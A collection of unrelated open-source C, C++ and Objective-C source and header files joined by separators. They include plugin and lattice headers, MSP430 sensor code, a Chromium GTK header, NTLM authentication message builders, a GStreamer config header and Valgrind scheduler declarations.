\returns Pointer to the requested markup table object or NULL when iIndex is out of range
*/
OtmMarkup* getMarkup
(
int iIndex
);
/*! \brief Get the markup table object for a markup table
\param pszMarkup Name of the markup table
\returns Pointer to the requested markup table object or NULL when markup table does
Not belong to this markup table plugin
*/
OtmMarkup* getMarkup
(
char *pszMarkup
);
/*! \brief Stops the plugin.
Terminating-function for the plugin, will be called directly before
the DLL containing the plugin will be unloaded.\n
The method should call PluginManager::deregisterPlugin() to tell the PluginManager
that the plugin is not active anymore.
Warning: THIS METHOD SHOULD BE CALLED BY THE PLUGINMANAGER ONLY!
\param fForce, TRUE = force stop of the plugin even if functions are active, FALSE = only stop plugin when it is inactive
\returns TRUE when successful */
bool stopPlugin( bool fForce = false );
private:
char *pszFileList;
char *pszLongDescription;
char *pszName;
char *pszShortDescription;
char *pszShortName;
char *pszSupplier;
char *pszTableDirectory;
char *pszTablePath;
char *pszUserExitDirectory;
char *pszUserExitPath;
char *pszVersion;
bool bProtected;
bool bDeletable;
bool bExportable;
bool bImportable;
bool bExpired;
int iMarkupCount;
// base path of the plugin DLL
char szBasePath[1024];
LogWriter Log;
};
#endif // #ifndef _OtmMarkupTablePlugin_H_ |
#ifndef NARY_BIT_LATTICE_H
#define NARY_BIT_LATTICE_H
#include "bit_lattice.h"
#include "nary.h"
// These are always inlined so they MUST be visible to
// instantiate or even declare.
typedef NaryL<UnaryRelation> BinaryRelation;
typedef NaryL<NaryL<UnaryRelation> > TrinaryRelation;
class BinaryRelationBitLattice {
/* Same lattice as the BitLattice */
// SGraphBit _is_bottom;
// SGraphBit _value;
//BitLattice _default_value;
BinaryRelation _is_bottom;
BinaryRelation _value;
BitLattice _default_value;
public:
BinaryRelationBitLattice(); /* default is top */
BinaryRelationBitLattice(const BitLattice &default_value); /* default value */
void set_default_value(const BitLattice &default_value);
BinaryRelationBitLattice(const BinaryRelationBitLattice &);
BinaryRelationBitLattice &operator=(const BinaryRelationBitLattice &);
~BinaryRelationBitLattice();
bool operator==(const BinaryRelationBitLattice &) const;
bool operator!=(const BinaryRelationBitLattice &) const;
BitLattice get_value(size_t domain, size_t range) const;
void set_value(size_t domain, size_t range, const BitLattice &value);
// UnaryRelationBitLattice get_domain_vector(size_t domain) const;
// UnaryRelationBitLattice get_range_vector(size_t range) const;
// void set_domain_vector(size_t domain, const UnaryRelationBitLattice &value);
// void set_range_vector(size_t range, const UnaryRelationBitLattice &value);
// size_t get_domain_msb() const; /* most significant bit */
// size_t get_range_msb() const; /* most significant bit */
// size_t get_msb() const; /* max(msb_domain, msb_range)
// * on relations on the same sets */
size_t significant_bit_count() const;
bool do_meet_with_test(const BinaryRelationBitLattice &other);
static BinaryRelationBitLattice transitive_closure(const BinaryRelationBitLattice &);
static BinaryRelationBitLattice transpose(const BinaryRelationBitLattice &);
static BinaryRelationBitLattice do_meet(const BinaryRelationBitLattice &,
const BinaryRelationBitLattice &);
};
class TrinaryRelationBitLattice {
/* arg0, arg1, arg2 */
/* Same lattice as the BitLattice */
TrinaryRelation _is_bottom;
TrinaryRelation _value;
BitLattice _default_value;
public:
TrinaryRelationBitLattice(); /* default is top */
TrinaryRelationBitLattice(const BitLattice &default_value); /* default value */
void set_default_value(const BitLattice &default_value);
TrinaryRelationBitLattice(const TrinaryRelationBitLattice &);
TrinaryRelationBitLattice &operator=(const TrinaryRelationBitLattice &);
~TrinaryRelationBitLattice();
bool operator==(const TrinaryRelationBitLattice &) const;
bool operator!=(const TrinaryRelationBitLattice &) const;
BitLattice get_value(size_t arg0, size_t arg1, size_t arg2) const;
void set_value(size_t arg0, size_t arg1, size_t arg2,
const BitLattice &value);
// UnaryRelationBitLattice get_domain_vector(size_t domain) const;
// UnaryRelationBitLattice get_range_vector(size_t range) const;
// void set_domain_vector(size_t domain, const UnaryRelationBitLattice &value);
// void set_range_vector(size_t range, const UnaryRelationBitLattice &value);
// size_t get_domain_msb() const; /* most significant bit */
// size_t get_range_msb() const; /* most significant bit */
// size_t get_msb() const; /* max(msb_domain, msb_range)
// * on relations on the same sets */
size_t significant_bit_count() const;
bool do_meet_with_test(const TrinaryRelationBitLattice &other);
static TrinaryRelationBitLattice transitive_closure(const TrinaryRelationBitLattice &);
static TrinaryRelationBitLattice do_meet(const TrinaryRelationBitLattice &,
const TrinaryRelationBitLattice &);
};
#endif /* NARY_BIT_LATTICE_H */
|
/**
*
*/
#include <msp430f1232.h>
#include "cfgintf.h"
#include "paramintf.h"
#include "reconfmodule.h"
#include "slowadt7410.h"
#ifdef WRAPAPP
# include "slowadt7410-wrapapp-driver.h"
#else
# include "slowadt7410-driver.h"
#endif
#ifndef SIMULATION
// delay between start of conversion command and query command, must be >
// 240ms, the value is given in clock cycles
#define I2C_DELAY (2600000UL)
#endif
void app_setup() {
P3OUT = 0x00;
init_app_slowadt7410();
#ifndef SIMULATION
// For simulation we use a shorter value to reduce simulation time. The value
// is given as default value in chll/sripts/setup.tcl as 24000, which at a
// clock frequency of 100kHz provides 240ms delay.
// On chip we use e.g. 10MHz and therefore need a value of 2400000, which
// is defined above as SPI_DELAY.
ParamWrite(PARAM_WAITCOUNTERPRESETL_I_ADDR,I2C_DELAY & 0x0000FFFF);
ParamWrite(PARAM_WAITCOUNTERPRESETH_I_ADDR,I2C_DELAY >> 16);
#endif
}
void app_start() {
P3OUT |= (1 << ARRAY_MAP_RECONFMODULEIN_S_ENABLE_I);
}
void app_stop() {
P3OUT &= ~(1 << ARRAY_MAP_RECONFMODULEIN_S_ENABLE_I);
}
void app_set_threshold(uint16_t threshold) {
ParamWrite(PARAM_THRESHOLD_I_ADDR, threshold);
}
void app_set_periode(uint32_t periode) {
ParamWrite(PARAM_PERIODCOUNTERPRESETH_I_ADDR, periode >> 16);
ParamWrite(PARAM_PERIODCOUNTERPRESETL_I_ADDR, periode & 0x0000FFFFUL);
}
uint16_t app_get_value() {
return ParamRead(PARAM_SENSORVALUE_O_ADDR);
}
#pragma vector = VECTOR_RECONFMODULEIRQS_S_0
__interrupt void app_isr (void) {
// call user's ISR function
user_isr();
}
/* These functions should be in reconfmodule.c. Unfortunately, there we don't
* have access to the constants PARAM_*_ADDR, because they are defined in
* <app>-driver.h. Most of the constants defined there are global for the whole
* reconf.module and should be put in a separate (common) file. Currently we
* accept this not-very-clean design to avoid delays.
*/
uint16_t get_i2c_errors() {
return ParamRead(PARAM_I2C_ERRORS_ADDR);
}
void ack_i2c_error() {
ParamWrite(PARAM_I2C_ERRACKPARAM_ADDR, 0x0001);
ParamWrite(PARAM_I2C_ERRACKPARAM_ADDR, 0x0000);
}
|
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_UI_GTK_STATUS_BUBBLE_GTK_H_
#define CHROME_BROWSER_UI_GTK_STATUS_BUBBLE_GTK_H_
#pragma once
#include <gtk/gtk.h>
#include <string>
#include "base/memory/scoped_ptr.h"
#include "base/timer.h"
#include "chrome/browser/ui/gtk/owned_widget_gtk.h"
#include "chrome/browser/ui/status_bubble.h"
#include "content/common/notification_observer.h"
#include "content/common/notification_registrar.h"
#include "googleurl/src/gurl.h"
#include "ui/base/animation/animation_delegate.h"
#include "ui/base/gtk/gtk_signal.h"
#include "ui/gfx/point.h"
class GtkThemeService;
class Profile;
namespace ui {
class SlideAnimation;
}
class StatusBubbleGtk : public StatusBubble,
public NotificationObserver,
public ui::AnimationDelegate {
public:
explicit StatusBubbleGtk(Profile* profile);
virtual ~StatusBubbleGtk();
bool flip_horizontally() const { return flip_horizontally_; }
int y_offset() const { return y_offset_; }
virtual void SetStatus(const string16& status);
virtual void SetURL(const GURL& url, const string16& languages);
virtual void Hide();
virtual void MouseMoved(const gfx::Point& location, bool left_content);
virtual void AnimationEnded(const ui::Animation* animation);
virtual void AnimationProgressed(const ui::Animation* animation);
virtual void UpdateDownloadShelfVisibility(bool visible);
virtual void Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details);
GtkWidget* widget() { return container_.get(); }
private:
void SetStatusTextTo(const std::string& status_utf8);
void SetStatusTextToURL();
void Show();
void InitWidgets();
void UserChangedTheme();
void SetFlipHorizontally(bool flip_horizontally);
void ExpandURL();
void UpdateLabelSizeRequest();
bool expanded() {
return expand_animation_.get();
}
CHROMEGTK_CALLBACK_1(StatusBubbleGtk, gboolean, HandleMotionNotify,
GdkEventMotion*);
CHROMEGTK_CALLBACK_1(StatusBubbleGtk, gboolean, HandleEnterNotify,
GdkEventCrossing*);
NotificationRegistrar registrar_;
GtkThemeService* theme_service_;
OwnedWidgetGtk container_;
GtkWidget* padding_;
OwnedWidgetGtk label_;
std::string status_text_;
GURL url_;
std::string url_text_;
string16 languages_;
base::OneShotTimer<StatusBubbleGtk> hide_timer_;
base::OneShotTimer<StatusBubbleGtk> expand_timer_;
scoped_ptr<ui::SlideAnimation> expand_animation_;
int start_width_;
int desired_width_;
bool flip_horizontally_;
int y_offset_;
bool download_shelf_is_visible_;
gfx::Point last_mouse_location_;
bool last_mouse_left_content_;
bool ignore_next_left_content_;
};
#endif
|
/*
* This file is part of the coreboot project.
*
* Copyright (C) 2010 Advanced Micro Devices, Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <device/pci.h>
#include <stdint.h>
#include <stdlib.h>
#include <cpu/amd/multicore.h>
#include <cpu/amd/amdfam10_sysconf.h>
/* Global variables for MB layouts and these will be shared by irqtable mptable
* and acpi_tables busnum is default.
*/
u32 apicid_sb700;
void get_bus_conf(void)
{
u32 apicid_base;
get_default_pci1234(1);
sysconf.sbdn = (sysconf.hcdn[0] & 0xff);
pirq_router_bus = (sysconf.pci1234[0] >> 16) & 0xff;
/* I/O APICs: APIC ID Version State Address */
if (CONFIG(LOGICAL_CPUS))
apicid_base = get_apicid_base(1);
else
apicid_base = CONFIG_MAX_PHYSICAL_CPUS;
apicid_sb700 = apicid_base + 0;
}
|
enum {
RBC_SFUL,
RBC_SFREE
};
struct StressFree_v {
float *ll; /* eq. spring lengths */
float *aa; /* eq. triangle areas */
};
struct StressFul_v {
float l0; /* eq. spring length */
float a0; /* eq. triangle area */
};
union SFreeInfo {
StressFul_v sful;
StressFree_v sfree;
};
enum {
RBC_RND0,
RBC_RND1,
};
struct Rnd0_v {};
struct Rnd1_v {
int *anti; /* indices of anti edges */
float *rr; /* random numbers (managed by RbcRnd) */
};
union RndInfo {
Rnd0_v rnd0;
Rnd1_v rnd1;
};
struct RbcForce {
RbcRnd *rnd;
Bending *bending;
Adj *adj;
Adj_v *adj_v;
int stype;
SFreeInfo sinfo;
int rtype;
RndInfo rinfo;
};
|
#ifndef _SDM_EXCEPTION_H_
#define _SDM_EXCEPTION_H_
#include "../sdmLib.h"
#include <string.h>
class SDMLIB_API SDMException
{
public:
SDMException();
SDMException(const char* ExceptionMessage);
virtual ~SDMException();
virtual const char* Message() const;
private:
char m_strMessage[256];
};
#endif
|
/***************************************************************************
* Copyright (C) 2013 by James Holodnak *
* jamesholodnak@gmail.com *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
#ifndef __system_h__
#define __system_h__
#include "types.h"
int system_init();
void system_kill();
void system_checkevents();
char *system_getcwd();
u64 system_gettick();
u64 system_getfrequency();
//this needs to be dealt with
int system_findconfig(char *dest);
#endif
|
//
// SGWrapView.h
// aquachat
//
// Created by Steve Green on 7/4/05.
// Copyright 2005 __MyCompanyName__. All rights reserved.
//
#import <Cocoa/Cocoa.h>
#import <SGView.h>
@interface SGWrapView : SGView
{
unsigned rows;
}
- (unsigned) rowCount;
@end
|
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <assert.h>
#include <string.h>
#include "ntlm.h"
#include "smbencrypt.h"
#include "smbbyteorder.h"
char versionString[] ="libntlm version 0.21";
/* Utility routines that handle NTLM auth structures. */
/* The [IS]VAL macros are to take care of byte order for non-Intel
* Machines -- I think this file is OK, but it hasn't been tested.
* The other files (the ones stolen from Samba) should be OK.
*/
/* I am not crazy about these macros -- they seem to have gotten
* a bit complex. A new scheme for handling string/buffer fields
* in the structures probably needs to be designed
*/
#define AddBytes(ptr, header, buf, count) \
{ \
if (buf && count) \
{ \
SSVAL(&ptr->header.len,0,count); \
SSVAL(&ptr->header.maxlen,0,count); \
SIVAL(&ptr->header.offset,0,((ptr->buffer - ((uint8*)ptr)) + ptr->bufIndex)); \
memcpy(ptr->buffer+ptr->bufIndex, buf, count); \
ptr->bufIndex += count; \
} \
else \
{ \
ptr->header.len = \
ptr->header.maxlen = 0; \
SIVAL(&ptr->header.offset,0,ptr->bufIndex); \
} \
}
#define AddString(ptr, header, string) \
{ \
char *p = string; \
int len = 0; \
if (p) len = strlen(p); \
AddBytes(ptr, header, ((unsigned char*)p), len); \
}
#define AddUnicodeString(ptr, header, string) \
{ \
char *p = string; \
unsigned char *b = NULL; \
int len = 0; \
if (p) \
{ \
len = strlen(p); \
b = strToUnicode(p); \
} \
AddBytes(ptr, header, b, len*2); \
}
#define GetUnicodeString(structPtr, header) \
unicodeToString(((char*)structPtr) + IVAL(&structPtr->header.offset,0) , SVAL(&structPtr->header.len,0)/2)
#define GetString(structPtr, header) \
toString((((char *)structPtr) + IVAL(&structPtr->header.offset,0)), SVAL(&structPtr->header.len,0))
#define DumpBuffer(fp, structPtr, header) \
dumpRaw(fp,((unsigned char*)structPtr)+IVAL(&structPtr->header.offset,0),SVAL(&structPtr->header.len,0))
static void dumpRaw(FILE *fp, unsigned char *buf, size_t len)
{
int i;
for (i=0; i<len; ++i)
fprintf(fp,"%02x ",buf[i]);
fprintf(fp,"\n");
}
static char *unicodeToString(char *p, size_t len)
{
int i;
static char buf[1024];
assert(len+1 < sizeof buf);
for (i=0; i<len; ++i)
{
buf[i] = *p & 0x7f;
p += 2;
}
buf[i] = '\0';
return buf;
}
static unsigned char *strToUnicode(char *p)
{
static unsigned char buf[1024];
size_t l = strlen(p);
int i = 0;
assert(l*2 < sizeof buf);
while (l--)
{
buf[i++] = *p++;
buf[i++] = 0;
}
return buf;
}
static unsigned char *toString(char *p, size_t len)
{
static unsigned char buf[1024];
assert(len+1 < sizeof buf);
memcpy(buf,p,len);
buf[len] = 0;
return buf;
}
void dumpSmbNtlmAuthRequest(FILE *fp, tSmbNtlmAuthRequest *request)
{
fprintf(fp,"NTLM Request:\n");
fprintf(fp," Ident = %s\n",request->ident);
fprintf(fp," mType = %d\n",IVAL(&request->msgType,0));
fprintf(fp," Flags = %08x\n",IVAL(&request->flags,0));
fprintf(fp," User = %s\n",GetString(request,user));
fprintf(fp," Domain = %s\n",GetString(request,domain));
}
void dumpSmbNtlmAuthChallenge(FILE *fp, tSmbNtlmAuthChallenge *challenge)
{
fprintf(fp,"NTLM Challenge:\n");
fprintf(fp," Ident = %s\n",challenge->ident);
fprintf(fp," mType = %d\n",IVAL(&challenge->msgType,0));
fprintf(fp," Domain = %s\n",GetUnicodeString(challenge,uDomain));
fprintf(fp," Flags = %08x\n",IVAL(&challenge->flags,0));
fprintf(fp," Challenge = "); dumpRaw(fp, challenge->challengeData,8);
}
void dumpSmbNtlmAuthResponse(FILE *fp, tSmbNtlmAuthResponse *response)
{
fprintf(fp,"NTLM Response:\n");
fprintf(fp," Ident = %s\n",response->ident);
fprintf(fp," mType = %d\n",IVAL(&response->msgType,0));
fprintf(fp," LmResp = "); DumpBuffer(fp,response,lmResponse);
fprintf(fp," NTResp = "); DumpBuffer(fp,response,ntResponse);
fprintf(fp," Domain = %s\n",GetUnicodeString(response,uDomain));
fprintf(fp," User = %s\n",GetUnicodeString(response,uUser));
fprintf(fp," Wks = %s\n",GetUnicodeString(response,uWks));
fprintf(fp," sKey = "); DumpBuffer(fp, response,sessionKey);
fprintf(fp," Flags = %08x\n",IVAL(&response->flags,0));
}
void buildSmbNtlmAuthRequest(tSmbNtlmAuthRequest *request, char *user, char *domain)
{
char *u = strdup(user);
char *p = strchr(u,'@');
if (p)
{
if (!domain)
domain = p+1;
*p = '\0';
}
request->bufIndex = 0;
memcpy(request->ident,"NTLMSSP\0\0\0",8);
SIVAL(&request->msgType,0,1);
SIVAL(&request->flags,0,0x0000b207); /* have to figure out what these mean */
AddString(request,user,u);
AddString(request,domain,domain);
free(u);
}
void buildSmbNtlmAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, char *user, char *password)
{
uint8 lmRespData[24];
uint8 ntRespData[24];
char *d = strdup(GetUnicodeString(challenge,uDomain));
char *domain = d;
char *u = strdup(user);
char *p = strchr(u,'@');
if (p)
{
domain = p+1;
*p = '\0';
}
SMBencrypt(password, challenge->challengeData, lmRespData);
SMBNTencrypt(password, challenge->challengeData, ntRespData);
response->bufIndex = 0;
memcpy(response->ident,"NTLMSSP\0\0\0",8);
SIVAL(&response->msgType,0,3);
AddBytes(response,lmResponse,lmRespData,24);
AddBytes(response,ntResponse,ntRespData,24);
AddUnicodeString(response,uDomain,domain);
AddUnicodeString(response,uUser,u);
AddUnicodeString(response,uWks,u);
AddString(response,sessionKey,NULL);
response->flags = challenge->flags;
free(d);
free(u);
}
|
/* config.h.in. Generated from configure.ac by autoheader. */
/* This copy of config.h.in is specifically for win32 Visual Studio builds */
/* Define to 1 if translation of program messages to the user's native
language is requested. */
#undef ENABLE_NLS
/* gettext package name */
#define GETTEXT_PACKAGE "gst-plugins-bad-1.0"
/* PREFIX - specifically added for Windows for easier moving */
#define PREFIX "C:\\gstreamer"
/* Location of registry */
#define GST_CACHE_DIR PREFIX "\\var\\cache"
/* Defined if gcov is enabled to force a rebuild due to config.h changing */
#undef GST_GCOV_ENABLED
/* Default errorlevel to use */
#define GST_LEVEL_DEFAULT GST_LEVEL_ERROR
/* GStreamer license */
#define GST_LICENSE "LGPL"
/* package name in plugins */
#define GST_PACKAGE_NAME "GStreamer Bad Plug-ins source release"
/* package origin */
#define GST_PACKAGE_ORIGIN "Unknown package origin"
/* Define if the host CPU is an Alpha */
#undef HAVE_CPU_ALPHA
/* Define if the host CPU is an ARM */
#undef HAVE_CPU_ARM
/* Define if the host CPU is a HPPA */
#undef HAVE_CPU_HPPA
/* Define if the host CPU is an x86 */
#undef HAVE_CPU_I386
/* Define if the host CPU is a IA64 */
#undef HAVE_CPU_IA64
/* Define if the host CPU is a M68K */
#undef HAVE_CPU_M68K
/* Define if the host CPU is a MIPS */
#undef HAVE_CPU_MIPS
/* Define if the host CPU is a PowerPC */
#undef HAVE_CPU_PPC
/* Define if the host CPU is a S390 */
#undef HAVE_CPU_S390
/* Define if the host CPU is a SPARC */
#undef HAVE_CPU_SPARC
/* Define if the host CPU is a x86_64 */
#undef HAVE_CPU_X86_64
/* Define if the GNU dcgettext() function is already present or preinstalled.
*/
#undef HAVE_DCGETTEXT
/* Defined if we have dladdr () */
#undef HAVE_DLADDR
/* Define to 1 if you have the <dlfcn.h> header file. */
#undef HAVE_DLFCN_H
/* Define to 1 if you have the `fgetpos' function. */
#define HAVE_FGETPOS 1
/* Define to 1 if fseeko (and presumably ftello) exists and is declared. */
#undef HAVE_FSEEKO
/* Define to 1 if you have the `fsetpos' function. */
#define HAVE_FSETPOS 1
/* Define to 1 if you have the `ftello' function. */
#undef HAVE_FTELLO
/* defined if the compiler implements __func__ */
#undef HAVE_FUNC
/* defined if the compiler implements __FUNCTION__ */
#undef HAVE_FUNCTION
/* Define to 1 if you have the `getpagesize' function. */
#undef HAVE_GETPAGESIZE
/* Define if the GNU gettext() function is already present or preinstalled. */
#undef HAVE_GETTEXT
/* Define if you have the iconv() function. */
#undef HAVE_ICONV
/* Define to 1 if you have the <inttypes.h> header file. */
#undef HAVE_INTTYPES_H
/* Define if libxml2 is available */
#define HAVE_LIBXML2 1
/* defined if we have makecontext () */
#undef HAVE_MAKECONTEXT
/* Define to 1 if you have the <memory.h> header file. */
#undef HAVE_MEMORY_H
/* Define to 1 if you have a working `mmap' system call. */
#undef HAVE_MMAP
/* defined if the compiler implements __PRETTY_FUNCTION__ */
#undef HAVE_PRETTY_FUNCTION
/* Defined if we have register_printf_function () */
#undef HAVE_PRINTF_EXTENSION
/* Define to 1 if you have the <process.h> header file. */
#define HAVE_PROCESS_H 1
/* Define if RDTSC is available */
#undef HAVE_RDTSC
/* Define to 1 if you have the `sigaction' function. */
#undef HAVE_SIGACTION
/* Define to 1 if you have the <stdint.h> header file. */
#undef HAVE_STDINT_H
/* Define to 1 if you have the <stdlib.h> header file. */
#define HAVE_STDLIB_H 1
/* Define to 1 if you have the <strings.h> header file. */
#undef HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#define HAVE_STRING_H 1
/* Define to 1 if you have the <sys/socket.h> header file. */
#undef HAVE_SYS_SOCKET_H
/* Define to 1 if you have the <sys/stat.h> header file. */
#define HAVE_SYS_STAT_H 1
/* Define to 1 if you have the <sys/types.h> header file. */
#define HAVE_SYS_TYPES_H 1
/* Define to 1 if you have the <ucontext.h> header file. */
#undef HAVE_UCONTEXT_H
/* defined if unaligned memory access works correctly */
#undef HAVE_UNALIGNED_ACCESS
/* Define to 1 if you have the <unistd.h> header file. */
#undef HAVE_UNISTD_H
/* Define if valgrind should be used */
#undef HAVE_VALGRIND
/* Defined if compiling for Windows */
#define HAVE_WIN32 1
/* library dir */
#define LIBDIR PREFIX "\\lib"
/* gettext locale dir */
#define LOCALEDIR PREFIX "\\share\\locale"
/* Name of package */
#define PACKAGE "gst-plugins-bad"
/* Define to the address where bug reports for this package should be sent. */
#undef PACKAGE_BUGREPORT
/* Define to the full name of this package. */
#undef PACKAGE_NAME
/* Define to the full name and version of this package. */
#undef PACKAGE_STRING
/* Define to the one symbol short name of this package. */
#undef PACKAGE_TARNAME
/* Define to the version of this package. */
#undef PACKAGE_VERSION
/* directory where plugins are located */
#define PLUGINDIR PREFIX "\\lib\\gstreamer-0.10"
/* Define to 1 if you have the ANSI C header files. */
#undef STDC_HEADERS
/* Define if we should poison deallocated memory */
#undef USE_POISONING
/* Version number of package */
#define VERSION "1.1.1"
/* Define to 1 if your processor stores words with the most significant byte
first (like Motorola and SPARC, unlike Intel and VAX). */
#undef WORDS_BIGENDIAN
/* Number of bits in a file offset, on hosts where this is settable. */
#undef _FILE_OFFSET_BITS
/* Define to 1 to make fseeko visible on some hosts (e.g. glibc 2.2). */
#undef _LARGEFILE_SOURCE
/* Define for large files, on AIX-style hosts. */
#undef _LARGE_FILES
/* Define to `__inline__' or `__inline' if that's what the C compiler
calls it, or to nothing if 'inline' is not supported under any name. */
/* #undef inline */
#define GST_PACKAGE "Gst-plugins-bad"
#define PACKAGE "gst-plugins-bad"
#define GST_ORIGIN "gstreamer.freedesktop.org"
|
/*
This file is part of Valgrind, a dynamic binary instrumentation
framework.
Copyright (C) 2000-2012 Julian Seward
jseward@acm.org
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307, USA.
The GNU General Public License is contained in the file COPYING.
*/
#ifndef __PUB_CORE_SCHEDULER_H
#define __PUB_CORE_SCHEDULER_H
extern ThreadId VG_(alloc_ThreadState)(void);
extern void VG_(exit_thread)(ThreadId tid);
extern void VG_(get_thread_out_of_syscall)(ThreadId tid);
extern void VG_(nuke_all_threads_except) ( ThreadId me,
VgSchedReturnCode reason );
extern void VG_(acquire_BigLock) ( ThreadId tid, HChar* who );
extern void VG_(acquire_BigLock_LL) ( HChar* who );
extern void VG_(release_BigLock) ( ThreadId tid,
ThreadStatus state, HChar* who );
extern void VG_(release_BigLock_LL) ( HChar* who );
extern Bool VG_(owns_BigLock_LL) ( ThreadId tid );
extern void VG_(vg_yield)(void);
extern VgSchedReturnCode VG_(scheduler) ( ThreadId tid );
extern ThreadId VG_(scheduler_init_phase1) ( void );
extern void VG_(scheduler_init_phase2) ( ThreadId main_tid,
Addr clstack_end,
SizeT clstack_size );
extern void VG_(disable_vgdb_poll) (void );
extern void VG_(force_vgdb_poll) ( void );
extern void VG_(print_scheduler_stats) ( void );
extern Bool VG_(in_generated_code);
extern void VG_(sanity_check_general) ( Bool force_expensive );
#endif
|
/*
* version.h
*/
#define SND_UTIL_MAJOR 1
#define SND_UTIL_MINOR 0
#define SND_UTIL_SUBMINOR 29
#define SND_UTIL_VERSION ((SND_UTIL_MAJOR<<16)|\
(SND_UTIL_MINOR<<8)|\
SND_UTIL_SUBMINOR)
#define SND_UTIL_VERSION_STR "1.0.29"
|
#ifndef _ASM_TSAR_SMP_MAP_H
#define _ASM_TSAR_SMP_MAP_H
/*
* Logical to physical CPU mapping
*/
#define INVALID_HWCPUID ULONG_MAX
extern unsigned long __cpu_logical_map[NR_CPUS];
#define cpu_logical_map(cpu) __cpu_logical_map[cpu]
#endif /* _ASM_TSAR_SMP_MAP_H */
|
static const char *copyright =
"PEEP: The Network Auralizer"
"Copyright (C) 2000 Michael Gilfix"
""
"This file is part of PEEP."
""
"You should have received a file COPYING containing license terms"
"along with this program; if not, write to Michael Gilfix"
"(mgilfix@eecs.tufts.edu) for a copy."
""
"This version of PEEP is open source; you can redistribute it and/or"
"modify it under the terms listed in the file COPYING."
""
"This program is distributed in the hope that it will be useful,"
"but WITHOUT ANY WARRANTY; without even the implied warranty of"
"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
;
|
/*
*
*
* Copyright 1990-2006 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License version
* 2 only, as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License version 2 for more details (a copy is
* included at /legal/license.txt).
*
* You should have received a copy of the GNU General Public License
* version 2 along with this work; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa
* Clara, CA 95054 or visit www.sun.com if you need additional
* information or have any questions.
*/
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <carddevice.h>
#define ERR_LINE_COUNT 30
#define ERR_STACK_SIZE (ERR_LINE_COUNT*256 + ERR_LINE_COUNT*4 + 1*4)
static char err_stack[ERR_STACK_SIZE];
static char *err_line_top = err_stack;
static char **err_ptr_top = (char **)(err_stack + sizeof err_stack);
/* Local functions */
static void add_error_msg(const char *err_class, const char *fmt, va_list ap);
void jsr177_clear_error() {
err_line_top = err_stack;
err_ptr_top = (char **)(err_stack + sizeof err_stack);
*err_line_top = '\0';
}
void jsr177_set_error(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
add_error_msg("Error", fmt, ap);
va_end(ap);
}
jboolean jsr177_get_error(jbyte *buf, jsize buf_size) {
char **p;
jboolean first_flag = PCSL_TRUE;
if (err_ptr_top == (char **)(err_stack + sizeof err_stack)) {
return PCSL_FALSE;
}
if (buf == NULL || buf_size < 3) {
return PCSL_FALSE;
}
for (p = err_ptr_top; p < (char **)(err_stack + sizeof err_stack); p++ ) {
int len = strlen(*p);
if (!first_flag) {
*buf++ = '\n';
buf_size--;
} else {
first_flag = PCSL_FALSE;
}
if (buf_size-1 < len) {
len = buf_size-1;
}
memcpy(buf, *p, len);
buf_size -= len;
buf += len;
if (buf_size < 4) {
break;
}
}
*buf++ = '\0';
jsr177_clear_error();
return PCSL_TRUE;
}
static void add_error_msg(const char *err_class, const char *fmt, va_list ap) {
int len;
char *line_ptr = err_line_top;
int bytes_left = ((char*)err_ptr_top - err_line_top) - sizeof *err_ptr_top;
if (bytes_left <= 0)
return;
len = snprintf(err_line_top, bytes_left, "%s: ", err_class);
if (len < 0) {
return;
}
err_line_top += len;
*err_line_top = '\0';
bytes_left -= len;
len = vsnprintf(err_line_top, bytes_left, fmt, ap);
if (len < 0) {
return;
}
err_line_top += len;
*err_line_top = '\0';
err_line_top++;
--err_ptr_top;
*err_ptr_top = line_ptr;
}
|
/*
* Copyright (C) 2000-2006 the xine project
*
* This file is part of xine, a free video player.
*
* xine is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* xine is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA
